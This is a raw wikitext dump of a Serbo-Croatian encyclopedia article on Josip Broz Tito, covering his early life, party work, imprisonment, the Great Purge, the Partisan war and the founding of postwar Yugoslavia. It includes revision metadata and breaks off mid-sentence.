http://www.riss.ru/analitika/152-moskovskie-gody-iosipa-broza-tito-predystoriya-partizana#.U8nP35SSw34 |location= |publisher=Institut za noviju istoriju Srbije |page= |isbn= |access-date=}}{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> == Povezano == * [[KPJ tokom Velike čistke]] * [[narodnooslobodilačka borba Jugoslavije]] * [[pogreb Josipa Broza Tita]] * [[lista mjesta imenovanih po Josipu Brozu Titu]] == Napomene == {{notelist}} == Reference == {{reference|2}} == Literatura == {{refbegin}} * Calic, Marie-Janine: Tito. Vječni partizan. Zagreb 2022. * Goldstein, Ivo/Goldstein, Slavko: Tito. Zagreb 2015. * Manojlović Pintar, Olga (ur.) Tito - viđenja i tumačenja. Zbornik radova. Beograd 2011. * Pirjevec, Jože: Tito i drugovi. Zagreb 2012. {{refend}} {{commonscat|Josip Broz Tito}} == Vanjske veze == * [http://www.rex.b92.net/vlastitoiskustvo/izlozba_fotografije.html Fotografije iz izložbe "VlasTITO iskustvo"], 17. septembra 2004. {{Webarchive|url=https://web.archive.org/web/20080703154705/http://www.rex.b92.net/vlastitoiskustvo/izlozba_fotografije.html |date=2008-07-03 }} * [http://www.vuksfrj.se/istorija/tito/J_B_Tito.html Titovi memoari - Vukova stranica] (www.vuksfrj.se) {{Webarchive|url=https://web.archive.org/web/20120108052906/http://www.vuksfrj.se/istorija/tito/J_B_Tito.html |date=2012-01-08 }} * [http://www.glas-koncila.hr/feljtoni/index.php?title=IZ_BEOGRADSKIH_ARHIVA:_Odnos_Josipa_Broza_Tita_prema_zagreba%C4%8Dkom_nadbiskupu_Alojziju_Stepincu Iz beogradskih arhiva: Odnos Josipa Broza Tita prema zagrebačkom nadbiskupu Alojziju Stepincu], [[Glas Koncila]]. {{Webarchive|url=https://web.archive.org/web/20120128182331/http://www.glas-koncila.hr/feljtoni/index.php?title=IZ_BEOGRADSKIH_ARHIVA:_Odnos_Josipa_Broza_Tita_prema_zagreba%C4%8Dkom_nadbiskupu_Alojziju_Stepincu |date=2012-01-28 }} {{Portal NOB}} {{Drugi svjetski rat u Jugoslaviji}} {{Spisak narodnih heroja}} {{Predsjednici SKJ}} {{Predsjednici SFRJ}} {{Životni vijek|1892|1980|Broz, Josip Tito}} {{Normativna kontrola}} [[Kategorija:Josip Broz Tito| ]] [[Kategorija:Jugoslavenski komunisti]] [[Kategorija:Jugoslavenski partizani]] [[Kategorija:Narodni heroji Jugoslavije]] [[Kategorija:Političari u međuratnom periodu]] [[Kategorija:Političari u Drugom svjetskom ratu]] [[Kategorija:Jugoslavenski ateisti]] [[Kategorija:Hrvatski ateisti]] [[Kategorija:Preživjeli pokušaje atentata]] [[Kategorija:KPJ tokom Velike čistke]] [[Kategorija:Jugosloveni u Oktobarskoj revoluciji]] [[Kategorija:Bitka na Neretvi]] [[Kategorija:Porodica Broz|Josip]] [[Kategorija:Jugoslovenska politička emigracija u SSSR]] [[Kategorija:Predsjednici Saveznog izvršnog vijeća]] 89wvt1aa4rozv39axj2axn17ahp7dyd 42602654 42602653 2026-05-28T02:58:24Z Dwina744 178014 kozmetička izmjena 42602654 wikitext text/x-wiki {{For|film|Josip Broz Tito (film)}} {{Redirect|Tito}} {{Politički vođa |ime= Josip Broz Tito |datum rođenja= {{Birth date and age|1892|05|7|df=y}} |mjesto rođenja= [[Kumrovec]], [[Austro-Ugarska]]<br /><small>(danas [[Hrvatska]])</small> |datum smrti= {{death date and age|1980|05|4|1892|05|7|df=y}} |mjesto smrti= [[Ljubljana]], [[Socijalistička Federativna Republika Jugoslavija|SFRJ]]<br /><small>(danas [[Slovenija]])</small> |malaslika= |opis male slike= |slika= Josip Broz Tito uniform portrait.jpg |veličina= 290px |opis slike= |stranka= [[Komunistička partija Jugoslavije]] (KPJ) |potpis= Tito signature.svg |supruga= [[Pelagija Belousova]] {{small|(1919-1936)}}<br />[[Lucija Bauer]] {{small|(1936-1937}}<br />[[Herta Haas]] {{small|(1940-1943)}}<br />[[Davorjanka Paunović]] {{small|(1941-1946)}}<br />[[Jovanka Broz]] {{small|(1952-1980)}} |obrazovanje= |zanimanje= [[bravar]] |fusnote= {{small|[[Datoteka:Flag of the President of Yugoslavia (1963-1993).svg|centar|100px]]}} |položaj = 1. [[Spisak šefova države Jugoslavije|Predsjednik Socijalističke Federativne Republike Jugoslavije]] |mandat_start = [[14. 1.|14. siječnja]] [[1953.]] |mandat_kraj = [[4. 5.|4. svibnja]] [[1980.]] |podpredsjednik = |podpremijer = |zamjenik = |premijer1 = ''on sam'' {{small|(1953–1963)}}<br />[[Petar Stambolić]] {{small|(1963–1967)}}<br />[[Mika Špiljak]] {{small|(1967–1969)}}<br />[[Mitja Ribičič]] {{small|(1969–1971)}}<br />[[Džemal Bijedić]] {{small|(1971–1977)}}<br />[[Veselin Đuranović]] {{small|(1977–1980)}} |predsjednik1 = |prethodnik = [[Ivan Ribar]]<br />{{small|(kao predsjednik Predsjedništva)}} |nasljednik = [[Lazar Koliševski]]<br />{{small|(kao predsjednik Predsjedništva)}} |čin2 = 1. [[Spisak predsednika vlada Jugoslavije|Premijer Socijalističke Federativne Republike Jugoslavije]]<br />{{small|22. [[Spisak predsednika vlada Jugoslavije|Premijer Jugoslavije]]}} |mandat_start2 = [[29. 11.|29. studenog]] [[1943.]] |mandat_kraj2 = [[29. 6.|29. lipnja]] [[1963.]] |podpredsjednik2 = |podpremijer2 = |zamjenik2 = |premijer2 = |predsjednik2 = [[Ivan Ribar]] {{small|(1945-1953)}}<br />''on sam'' {{small|(1953–1963)}} |prethodnik2 = [[Ivan Šubašić]]<br />([[Kraljevina Jugoslavija]]) |nasljednik2 = [[Petar Stambolić]] |čin3 = 1. [[Pokret nesvrstanih|Generalni sekretar Pokreta nesvrstanih]] |mandat_start3 = [[1. 9.|1. rujna]] [[1961.]] |mandat_kraj3 = [[5. 10.|5. listopada]] [[1964.]] |podpredsjednik3 = |podpremijer3 = |zamjenik3 = |premijer3 = |predsjednik3 = |prethodnik3 = |nasljednik3 = [[Gamal Abdel Nasser]] |čin4 = 7. [[Komunistička partija Jugoslavije|Predsjednik Saveza Komunista Jugoslavije]] |mandat_start4 = [[novembar|studeni]] [[1936.]] |mandat_kraj4 = [[4. 5.|4. svibnja]] [[1980.]] |podpredsjednik4 = |podpremijer4 = |zamjenik4 = |premijer4 = |predsjednik4 = |nasljednik4 = [[Lazar Mojsov]] |prethodnik4 = [[Milan Gorkić]] |vjera= [[Ateizam|ateist]] }} '''Josip Broz Tito''' ([[Kumrovec]], [[7. maja]] [[1892.]] – [[Ljubljana]], [[4. maja]] [[1980.]]), [[Jugoslaveni|jugoslavenski]] revolucionar, vojskovođa i državnik. Smatra se jednom od najvažnijih ličnosti [[20. vijek]]a i uopće historije na prostorima bivše [[Jugoslavija|Jugoslavije]]. Za vreme svoje političke karijere bio je veoma popularna i cenjena ličnost, kako u zemlji, tako i u inostranstvu. Bio je lider [[KPJ|Komunističke partije Jugoslavije]] od [[1937.]] do [[1980]], vođa [[Narodnooslobodilačka borba|Narodnooslobodilačke borbe]] naroda Jugoslavije od [[1941.]] do [[1945]], te doživotni [[Lista poglavara Jugoslavije|predsjednik]] [[SFRJ|Socijalističke federativne republike Jugoslavije]] od [[1953.]] do [[1980.]] godine. Jedan je od osnivača [[Pokret nesvrstanih|Pokreta nesvrstanih]]. [[Pogreb Josipa Broza Tita|Njegova sahrana]] okupila je velik broj tadašnjih svetskih državnika. == Biografija == === Rane godine === [[Datoteka:Titosbirthhome.jpg|levo|thumb|200px|Rodna kuća Josipa Broza Tita u [[Kumrovec|Kumrovcu]]]] Josip Broz je rođen u malom selu [[Kumrovec|Kumrovcu]] na [[Sutla|Sutli]], u najzapadnijem dijelu [[Hrvatsko zagorje|Hrvatskog zagorja]] 7. maja 1892. godine kao sedmo od petnaestero djece roditelja [[Franjo Broz|Franje]] (Franceka) i [[Marija Broz|Marije Broz]], rođene Javeršek.{{sfn|Dedijer|1953|p=20}} Mali "nesporazum" oko toga biografskog podatka, s obzirom da se Titov rođendan slavi na dan 25. maja, objasnili su njegovi biografi činjenicom da je Josip Broz za vrijeme svoga dugogodišnjeg revolucionarnog rada bio prisiljen da se služi lažnim papirima i dokumentima, pa je tako i u jednom vojničkom dokumentu austro-ugarske vojske zabilježeno da je rođen 25. maja. A upravo na taj dan (25. V 1944) izvršen je i [[desant na Drvar]]. Rođendan je ostao, pa ni sam Tito nije želio da se taj datum mijenja kad ga je narod već prihvatio. Sin oca [[Hrvati|Hrvata]] i majke [[Slovenci|Slovenke]], Josip Broz nije osjećao nikakvih nelagoda zbog te okolnosti, jer između dvije susjedne zemlje nije bilo antagonizma ni netrpeljivosti. Josip Broz je mnoge dane djetinjstva proveo kod djeda [[Martin Javeršek|Martina]] preko Sutle, te naučio odlično [[slovenski jezik|slovenski]], zbog čega je imao poteškoća kada je pošao u hrvatsku osnovnu školu. Kada se rodio Josip Broz, život u kumrovačkoj dolini je bio težak i naporan, oskudan i jednoličan. Iako je kmetstvo odavno bilo ukinuto, seljaštvo su pritiskali teški nameti, porezi i opća oskudica, jer su im posjedi bili mali, rasparčani, a zemlja slabe kvalitete. Godina [[1903]]. i [[1904]]. bile su veoma burne u tim krajevima, u znaku općeg narodnog pokreta protiv madžarizacije s jedne strane, i u znaku pobune siromašnih seljaka protiv svih vrsta eksploatacije s druge strane. Osnovnu školu Josip Broz je pohađao u Kumrovcu od [[1900.]] do [[1905]].{{sfn|Dedijer|1953|p=29}} Po svršetku osnovne škole Josip Broz je, zbog teškog stanja u obitelji, morao odložiti svoj odlazak na zanat, pa je neko vrijeme morao raditi kod svog ujaka u [[Slovenija|Sloveniji]]. Nakon toga je radio u jednoj [[Sisak|sisačkoj]] kantini. Godine [[1907]]. je postao šegrt mehaničarske radionice u Sisku. Po završetku šegrtske škole [[1910.]] prvi put stiže u [[Zagreb]] gdje postaje član [[Socijaldemokratska stranka Hrvatske (1894)|Socijaldemokratske stranke Hrvatske i Slavonije]] i učestvuje u radničkim demonstracijama.{{sfn|Dedijer|1953|p=33}} Nakon "izleta" u [[Trst]], gdje nije našao posao, vraća se u Zagreb gdje 1911. sudjeluje u velikim demonstracijama. Nakon toga je radio u [[Kamnik]]u u Sloveniji, [[Čenkov]]u u [[Češka Republika|Češkoj]], u [[Minhen|Münchenu]], u tvornici automobila "Benz" u [[Mannheim]]u, u Njemačkom [[Ruhr]]u, [[Beč]]u, [[Bečko Novo Mjesto|Bečkom Novom Mjestu]] gdje je radio u tvornici automobila "[[Daimler]]" kao probni vozač.{{sfn|Dedijer|1953|p=33}}{{sfn|Maclean|1957|p=11}} Naučio je [[nemački jezik|njemački]] i [[češki jezik]], usavršio svoj i izučio nove zanate. === Prvi svjetski rat i oktobarska revolucija === {{main|Jugosloveni u Oktobarskoj revoluciji}} [[Datoteka:Tito, pelagija i zarko.jpg|minijatura|Prva Titova supruga [[Pelagija Belousova]], kojom se oženio tokom boravka u Rusiji.]] Godine [[1913.]] odlazi u austro-ugarsku vojsku.{{sfn|Maclean|1957|p=11}} Tamo je relativno brzo napredovao i stekao podoficirski čin. Također je otkrio i talent za [[mačevanje]] te je dobio srebrnu medalju na prvenstvu austro-ugarske vojske u toj disciplini. Početkom [[Prvi svjetski rat|prvog svjetskog rata]] 1914 shvatio je da to nije njegov rat i da nema za šta da ratuje, pa je u to uvjeravao i svoje drugove u kasarni. Odveden je u [[Petrovaradinska tvrđava|Petrovaradinsku tvrđavu]] i tu je proveo neko vrijeme, ali nije osuđen nego je poslan na frontu u [[Galicija|Galiciju]] pa zatim na [[Karpati|Karpate]]. Na fronti je bio do [[25. 5.|25. maja]] [[1915]]. kada je ranjen i zarobljen. U ruskoj bolnici provodi trinaest mjeseci gdje mnogo čita i uči [[ruski jezik]]. Nakon izlječenja, Tito je kao zarobljenik poslan na rad u selo Kalasijevo. Pored posla nalazi vremena za čitanje a u razgovorima sa seljacima sve se češće spominje ime [[Vladimir Iljič Lenjin|Lenjin]]. Krajem [[1916]]. premješten je u [[Kungur]] gdje radi na održavanju željezničke pruge. U junu [[1917]]. napušta Kungur i odlazi u [[Sankt Peterburg|Petrograd]] gdje sudjeluje u demonstracijama. Zatim bježi u [[Finska|Finsku]]. Tamo je uhapšen i poslan u zatvor u [[Petropavlovsk]]oj tvrđavi, iz koje je transportiran natrag u Kungur. Iz transporta je pobjegao i dospio u [[Omsk]], gdje se, poslije pobjede [[Oktobarska revolucija|oktobarske revolucije]], prijavio u odred Crvene internacionalne garde. Na proljeće [[1918]]. zatražio je da bude primljen u [[Komunistička partija Rusije|Rusku komunističku partiju (boljševika)]]. U ljeto iste godine umaknuo je pred [[Kolčak]]ovom vojskom među [[Kirgizi|Kirgize]], gdje je radio kao strojar u jednome mlinu. Po povratku boljševika u Omsk vratio se u taj grad i tamo postao član [[Jugoslovenska komunistička grupa|jugoslavenske sekcije]] Ruske komunističke partije. === Partijski rad === {{main|Komunistička partija Jugoslavije|Osma zagrebačka mjesna konferencija KPJ}} U jesen [[1920]]. vraća se u Zagreb gdje stupa u redove [[Komunistička partija Jugoslavije|Komunističke partije Jugoslavije]]. Iste godine partija je zabranjena. Kada [[1921]]. ostaje bez posla zapošljava se u mlinu u mjestu [[Veliko Trojstvo|Velikom Trojstvu]] gdje je sa svojom suprugom [[Pelagija Belousova|Pelagijom]] živio do kasnog proljeća [[1925]]. godine. Tu mu se rodilo troje djece. Prvo dijete umrlo mu je u [[Zagreb]]u, a u Trojstvu su mu sahranjeni sinčić Hinko, koji je umro osam dana nakon rođenja kćerkice Zlatice, čiji se život ugasio nakon 17 mjeseci. Godinu dana prije nego što napušta Veliko Trojstvo, rođen je sin [[Žarko Broz|Žarko]], koji je jedini ostao živ od četvoro njegove djece iz prvog braka. Napušta mlin u Velikom Trojstvu i u kasno proljeće [[1925.]] godine dolazi u Zagreb. Po partijskim zadacima odlazi u [[Kraljevica|Kraljevicu]], [[Beograd]] i u [[Smederevska Palanka|Smederevsku Palanku]]. U aprilu [[1927]]. opet se vraća u Zagreb. Od suda u [[Ogulin]]u osuđen je na sedam mjeseci robije, uvjetno na četiri mjeseca, zbog komunističke propagande. Nakon izlaska iz zatvora Tito ujedinjuje Partiju koja je bila podijeljena na različit frakcije. === Robija === [[Datoteka:Tito u zatvoru.jpg|minijatura|Tito u zatvoru u Lepoglavi 1928. godine.]] {{izdvojeni citat|J. Broz je uhapšen 4. VIII. Osim sindikalnih funkcija, od Nove godine bio je zamjenik, a poslije osme konferencije sekretar mjesne partijske organizacije u Zagrebu. Njegov gubitak teško će osjetiti i mjesne partijske organizacije, kao i partijski aparat. Zbog istog slučaja uhapšena je njegova žena, jedan student, jedan emigrant, i vlasnici stana (nepartijci). Njihova imena objavila je »Borba«. Stan je služio kao partijsko skladište za literaturu, no zbog finansijskih nemogućnosti da se za ostalo nabavi još jedan partijski stan, to je ovaj bio upotrebljavan i za drugo (umnožavanje letaka itd.). O materijalu, koji je pronađen, i o držanju uhapšenih drugova govori priloženo originalno pismo Broza, koji je iz policijskog zatvora prokrijumčareno. Svi uhapšeni predati su poslije nedelju dana sudu, gdje se i sada nalaze.<ref>{{cite book |last= Broz Tito |first= Josip |date= 1981 |title= Sabrana djela - svezak drugi |url= https://www.rastko.rs/rastko-ru/delo/12909 |location= Beograd/Zagreb |publisher= Komunist : Beogradski izdavačko-grafički zavod/Naprijed |page= 107 |isbn= 86-331-1057-1 |access-date= 2026-02-20 |archive-date= 2025-05-06 |archive-url= https://web.archive.org/web/20250506171446/http://www.rastko.rs/rastko-ru/delo/12909 |url-status= live }}</ref>|Pismo Josipu Čižinskom o hapšenju Broza, po nalogu [[Filip Filipović|Boškovića]] [[Antun Mavrak|Marić]]}} Kada su u junu [[1928]]. godine organizovane demonstracije, na letku kojim se radnici pozivaju na demonstracije stajao je potpis Josipa Broza.{{fact}} Velika potjera policije raspisana je 20. juna 1928. Uhapšen je [[4. 8.|4. augusta]] 1928. godine, pred kućom u Vinogradskoj cesti, zatvoren i mučen.{{sfn|Maclean|1957|p=37}}<ref name="Požar-Filipović">{{cite book |last= Požar |first= Petar | authorlinkl= | date= 1989 |title= Jugosloveni žrtve staljinskih čistki |url= |location= Beograd |publisher= |page= |isbn= |access-date=}} str. 38-44.</ref> Iz zatvora je poslao pismo [[Filip Filipović|Filipu Filipoviću]] o teškim uvjetima zatvorenika, koje je objavljeno u inozemstvu u komunističkim listovima pod naslovom »''Krik iz pakla''«.<ref name="Požar-Filipović"/> Osuđen je na pet godina robije.{{sfn|Maclean|1957|p=41}} Početkom [[1929]]. doveden je na izdržavanje kazne u Lepoglavu. Godinu dana poslije njega u Lepoglavu dolazi [[Moša Pijade]], tada stari i iskusni komunist. Njih dvojica su počeli zajedno raditi na organiziranju partijskih jedinica u kaznionici. Iz toga vremena sačuvan je i jedan od dva portreta Tita što ih je izradio Moša Pijade, koji je inače bio poznati slikar. Početkom [[1931]]. Josip Broza su iznenada premjestili u kaznionicu u [[Maribor]]u, koja je bila na glasu kao najgora u Jugoslaviji. Tu je izdržao kaznu ali ipak nije odmah pušten na slobodu. Odveden je u Ogulin, gdje je trebao da odleži još tri i pol mjeseca one kazne na koju je bio uvjetno osuđen. Tek potkraj marta [[1934]]. izlazi iz zatvora, ali mu je određeno da mora boraviti u rodnom Kumrovcu i da iz njega ne smije nigdje otići. Britanska profesorka [[Phyllis Auty]] ocenjuje da je Tito boravkom u zatvoru izbegao krvave obračune sa komunistima od strane Jugoslovenske Vlade u periodu od 1929. do 1932.{{sfn|Auty|1970|p=94}} === Uspon Tita i Velika čistka === {{main|KPJ tokom Velike čistke}} Već u aprilu 1934. godine napušta Kumrovec i odlazi u [[Samobor]]. U to vreme koristio je ilegalno ime ''Valter''. Prešavši u ilegalnost, Tito je nastavio još većom partijskom aktivnošću. Iste godine, uz podršku privremenog šefa KPJ [[Milan Gorkić|Milana Gorkića]], uključen je u Politički biro CK KPJ u [[Beč]]u. Zbog partijskih zadataka povremeno odlazi u [[Pariz]] i [[Moskva|Moskvu]]. Nakon [[Aprilski plenum CK KPJ (1936)|aprilskog plenuma CK KPJ]] [[1936]]. godine, na kome su se neki rukovodioci usprotivili Gorkiću, 9.9. iste godine [[Kominterna]] je postavila novi Centralni komitet KPJ, na čelu sa Gorkićem kao generalnim sekretarom i Titom kao organizacionim sekretarom.{{sfn|Auty|1970|p=136}} Tada je Tito predlagao da rukovodstvo deluje iz zemlje, a ne iz Beča, sa čime se Gorkić nije slagao. Na kraju je dogovoreno da Tito ode u Jugoslaviju, a da Gorkić ostane u inostranstvu. Šef Kominterne [[Georgi Dimitrov]] je tada bio čvrsto na Titovoj strani.{{sfn|Auty|1970|p=}} U borbama za vlast koje su usledile nakon nakon likvidacije Milana Gorkića u Moskvi, Tito se već krajem [[1937]]. godine predstavlja kao generalni sekretar Centralnog komiteta Komunističke partije Jugoslavije. U Parizu, Titov glavni saveznik bio je [[Boris Kidrič]], koji je tu radio kao novinar, a u Španiji [[Božidar Maslarić]].{{sfn|Auty|1970|p=150}} Neki smatraju da je tokom [[Jugosloveni u Španskom građanskom ratu|Španskog građanskog rata]] (1936-1939) Tito bio šef jedne grupe [[NKVD]]-a, zadužene za likvidaciju [[lav Trocki|trockista]] i drugih Staljinovih oponenata.<ref name="vecernji"/> Navodno je to iskoristio kao priliku da se obračuna sa onim jugoslovenskim komunistima koji su se protivili njegovom dolasku na čelo KPJ (vidi [[Blagoje Parović]]).<ref name="vecernji">{{cite news |last= Despot |first= Zvonimir |date= 7. 1. 2012 |title= Tito je bio šef stožera NKVD-a za likvidacije trockista u Španjolskoj |url= https://www.vecernji.hr/vijesti/tito-je-bio-sef-stozera-nkvd-a-za-likvidacije-trockista-u-spanjolskoj-362833 |work= |location= |publisher= [[Večernji list]] |access-date=}}</ref> [[1938]]. godine Tito je počeo da piše članke za "[[Proleter (novine)|Proleter]]" u kojima je branio politiku Narodnog fronta, znajući da Kominterna mnogo drži do pisane reči.{{sfn|Auty|1970|p=151}} Sretena Žujovića i Rodoljuba Čolakovića je iz Moskve poslao u Srbiju da rade na stvaranju Narodnog fronta, što im je moguće spasilo život.{{sfn|Auty|1970|p=151}} [[12. mart]]a 1938, zagrebačka policija dobila je dojavu da će Josip Broz, član CK KPJ, doputovati u Zagreb sa falsifikovanim čehoslovačkim pasošem na ime inženjera Jozefa Tomaneka. Tito je stoga morao da nabavi druga dokumenta i ode prvo za Beograd, pa tek onda za Zagreb. Iz ovoga je izvesno da je neko radio Titu o glavi, ali Auty nema podataka o tome ko ga je ocinkario, niti o tome kako je Tito za to saznao i promenio plan.{{sfn|Auty|1970|p=152-153}} U to vreme, Auty već piše o Titu kao o "vršiocu dužnosti generalnog sekretara KPJ".{{sfn|Auty|1970|p=153}} U pismu Dimitrovu jula 1938. Tito javlja da je isključio članove CK iz Pariza, [[Labud Kusovac|Labuda Kusovca]] i [[Ivo Marić|Ivu Marića]] iz KPJ.{{sfn|Auty|1970|p=154}} Istog meseca, neko ih je denuncirao francuskoj policiji i oni i njihovi saradnici su deportovani iz Francuske.<ref name="Pavlović">{{cite book |last= Pavlović |first= Živojin |authorlink= Živojin Pavlović |date= 2003 |title= Bilans sovjetskog termidora: prikaz i otkrića o delatnosti i organizaciji Staljinskog terora |url= https://www.rastko.rs/rastko-ru/delo/12909 |location= Beograd |publisher= Narodna knjiga – Alfa |page= |isbn= 86-331-1057-1 |access-date= |archive-date= 2025-05-06 |archive-url= https://web.archive.org/web/20250506171446/http://www.rastko.rs/rastko-ru/delo/12909 |url-status= live }}</ref> Među izgnanim nije bilo nijednog od "staljinovaca".<ref name="Pavlović"/> Tito još dva puta odlazi u Moskvu [[1938]]. i [[1939]]. godine. Prilikom svog drugog odlaska u Moskvu sukobljava se sa poslednjim rivalom za mesto šefa KPJ, [[Petko Miletić|Petkom Miletićem]], nakon čega postaje generalni sekretar KPJ. === Generalni sekretar KPJ === {{main|Peta zemaljska konferencija KPJ}} Jedne od posljednjih večeri u oktobru 1940. godine u [[Dubrava|Dubravi]] je održana Peta zemaljska partijska konferencija. Na konferenciji je potvrđeno faktičko stanje nastalo nakon staljinističke [[KPJ tokom Velike čistke|Velike čistke]], tokom koje je staro rukovodstvo likvidirano, a Josip Broz došao na čelo partije. U to vreme, [[Fašizam]] se širio Evropom, [[Adolf Hitler|Hitlerove]] i [[Benito Mussolini|Mussolinijeve]] armije su na granicama Jugoslavije. Na kraju konferencije Tito je rekao: "''Drugovi, pred nama su odlučujući dani. Naprijed sada u konačnu pobjedu! Iduću konferenciju moramo održati u oslobođenoj zemlji i od tuđina i od kapitalista!''" {{fact}} Okupacija Jugoslavije Tita je zatekla u Zagrebu, odakle je, njegovom inicijativom, upućen proglas CK KPJ narodima Jugoslavije i radnom narodu Jugoslavije, u kojemu se ''ističe odlučnost Partije da u oslobodilačkom ratu ustraje u prvim redovima, u kojemu ustaje protiv potpaljivanja nacionalne mržnje i poziva radnike, seljake, omladinu, građane i sve rodoljube da se ujedine u borbi za nacionalnu nezavisnost''. U drugoj polovici maja 1941. godine Tito odlazi u [[Beograd]] odakle usmjerava pripreme za dizanje ustanka i početak oslobodilačkog rata. Po napadu Njemačke na SSSR ([[22. 6.|22. juna]]) Politbiro CK KPJ je pod Titovim vodstvom ocijenio da je nastupio odlučan trenutak za početak oružanog ustanka protiv okupatora i njegovih domaćih pomagača. Glavni štab Narodnooslobodilačkih i partizanskih odreda Jugoslavije (NOPOJ) formiran je 27.juna, a Tito je postao vrhovnim komandantom NOPOJ. Pod njegovim vodstvom donesena je odluka o dizanju svenarodnog ustanka. === Narodnooslobodilačka borba === {{main|Narodnooslobodilačka borba Jugoslavije}} [[Datoteka:Josip Broz Tito poternica.jpg|minijatura|Nemačka poternica za Titom.]] {{izdvojeni citat|Mi ćemo biti sijači bratstva među narodima. Kada budemo prolazili kroz nove zemlje, kad budemo dolazili u dodir sa ljudima drugih običaja, oni će možda biti nepovjerljivi prema nama, jer nas još nisu vidjeli na djelu i nisu čuli našu riječ. Vi ćete svojim držanjem i ubjeđivanjem pokazati da ste vojska novog kova, vi ćete tako steći povjerenje i razviti zastavu slobode i u krajevima koji je još nisu razvili.<ref>{{cite book |last1= Nešovic|first1=Slobodan |last2=Stanojević |first2=Tihomir | date= 1981 |title= Drug Tito |url= |location= Ljubljana |publisher= Mladinska knjiga |page= |isbn= |access-date=}} </ref>|Titov govor pred novoosnovanom 4. proleterskom brigadom 17. lipnja 1942. u Ljubini, istočna Bosna.}} Beograd je napustio [[16. 10.|16. oktobra]] i otišao na oslobođeni teritorij u zapadnoj Srbiji, kamo su premješteni i GŠ NOPOJ i CK KPJ. 26. i 27. novembra održano je [[savetovanje u Stolicama|savjetovanje partizanskih vođa u Stolicama]] i donesene smjernice za razvoj ustanka i oslobodilačke borbe pod vodstvom Vrhovnog štaba NOPOJ i glavnih štabova po zemljama i pokrajinama Jugoslavije. U oktobru iste godine Tito se sastao u Ravnoj Gori s [[Dragoljub Mihailović|Dražom Mihailovićem]] radi dogovora o zajedničkoj borbi protiv okupatora, koji zbog stava Mihailovića završava bez uspjeha. U oktobru i novembru 1941. godine Tito je u [[Užice|Užicu]], središtu [[Užička republika|Užičke republike]] odakle usmjerava razvitak ustanka. Nakon njemačke ofanzive se, zajedno s glavninom partizanskih snaga povukao u istočnu Bosnu gdje će se stvoriti nova velika baza partizanskog pokreta. U Rudom, u istočnoj Bosni, [[21. 12.|21. decembra]] [[1941]]. je po njegovom naređenju osnovana [[Prva proleterska udarna brigada|Prva proleterska brigada]]. [[Datoteka:Tito predaje zastavu Prvoj proleterskoj brigadi.jpg|thumb|Tito vrši smotru [[Prva proleterska brigada|Prve proleterske brigade]] 7. novembra 1942. godine u Bosanskom Petrovcu.]] Nakon neuspjeha osovinskih snaga da unište partizane u prvoj polovici [[1942]]. godine, glavnina partizanskih snaga pokreće veliki [[pohod partizana u Bosansku Krajinu|pohod u Bosansku Krajinu]], koji će rezultirati stvaranjem velike slobodne teritorije na području Hrvatske i zapadne Bosne sa sjedištem u Bihaću, [[Bihaćka republika|Bihaćke republike]]. Na osnovi tih uspjeha u drugoj polovici 1942. izdaje naredbu o osnivanju prvih divizija i korpusa, što je bio temelj stvaranja Narodnooslobodilačke vojske Jugoslavije (NOVJ). Na njegovu inicijativu u Bihaću se 27. novembra 1942. sastaju predstavnici antifašističkih snaga iz svih krajeva Jugoslavije i formiraju AVNOJ - [[Antifašističko vijeće narodnog oslobođenja Jugoslavije]] kao privremeno tijelo vlasti koje će s vremenom postati legitimna alternativa izbjegličkoj vladi u Londonu. Godinu dana poslije, 29. i 30. novembra 1943, u AVNOJ se ponovno sastao u [[Jajce|Jajcu]] i donio povijesne odluke o budućem uređenju Jugoslavije kao federativne države ravnopravnih naroda i narodnosti Jugoslavije. Na istom zasjedanju Tito je dobio naslov Maršala. Tito je nakon toga rukovodio borbom iz [[Drvar]]a, odakle, poslije neuspjelog njemačkog desanta, 25. maja [[1944]]. godine, odlazi na [[Vis]], gdje razvija široku djelatnost za međunarodno priznanje nove Jugoslavije. U augustu 1944. susreće se u [[Napulj]]u s predsjednikom britanske vlade [[Winston Churchill|Winstonom Churchillom]]. Istodobno dok se bori za međunarodno priznanje novoga stanja na tlu Jugoslavije, rukovodi, kao vrhovni komandant, operacijama oslobođenja zemlje, koje usklađuje s operacijama savezničkih vojski. Predvečer 23. oktobra 1944. stiže u oslobođeni Beograd. Potvrđujući već izborene tekovine, Tito [[7. 3.|7. marta]] [[1945]]. godine formira vladu Demokratske Federativne Jugoslavije. Ratne operacije su završile [[15. 5.|15. maja]] 1945. Još u toku borbe - 19. novembra 1944. - Predsjedništvo AVNOJ-a dodijelilo je Titu naziv narodnog heroja Jugoslavije. Josip Broz Tito bio je jedini Vrhovni komandant u drugom svjetskom ratu koji je svoje borce lično vodio u bitku. Ranjen je u [[Bitka na Sutjesci|bitci na Sutjesci]] u junu 1943. godine. === Uspostava nove Jugoslavije === {{main|AVNOJ|Sporazumi Tito-Šubašić}} [[Datoteka:Marshal Tito during the Second World War in Yugoslavia, May 1944.jpg|thumb|Tito sa savezničkim misijama u Drvaru u maju 1944. godine]] Nakon što 1944. godine postaje očito da će partizani uz pomoć [[Crvena armija|Crvene armije]] osloboditi Jugoslaviju od okupatora, Tito kao efikasni politički pragmatik, za razliku od drugih komunističkih vođa ovoga doba počinje raditi na širenju svoje političke baze. Prvi komunistički propagandni rezultati u borbi s ostalim političkim opcijama još iz doba Kraljevine Jugoslavije postižu svoj uspjeh tek u ratu kada veći broj poznatih osoba iz kulture i politike prelazi na stranu partizana. Također pod pritiskom [[Ujedinjeno Kraljevstvo|Velike Britanije]] dolazi 1944. godine do sklapanja [[sporazumi Tito-Šubašić|sporazuma Tito-Šubašić]] po kojemu članovi kraljevske vlade koji nisu kompromitirani tijekom rata na čelu s bivšim hrvatskim banom Šubašićem ulaze u vladu nove Jugoslavije.<ref>{{Cite web |title=Beogradski sporazum Tito-Šubašić |url=http://www.arhivyu.gov.rs/active/sr-latin/home/glavna_navigacija/leksikon_jugoslavije/konstitutivni_akti_jugoslavije/beogradski_sporazum_tito_subasic.html |access-date=20. 2. 2026 |publisher= Arhiv Jugoslavije |archive-date=2012-01-23 |archive-url=https://web.archive.org/web/20120123221511/http://www.arhivyu.gov.rs/active/sr-latin/home/glavna_navigacija/leksikon_jugoslavije/konstitutivni_akti_jugoslavije/beogradski_sporazum_tito_subasic.html |dead-url=yes }}</ref> Dok je Titov pragmatični sporazum sa emigrantskom vladom doprineo dobivanju legitimiteta pred monarhistima i centralistima to jest prije svega Srbima, ranija odluka o postavljanju ostarjelog apolitičnog, ali socijalno osjetljivog hrvatskog pjesnika [[Vladimir Nazor|Vladimira Nazora]] za 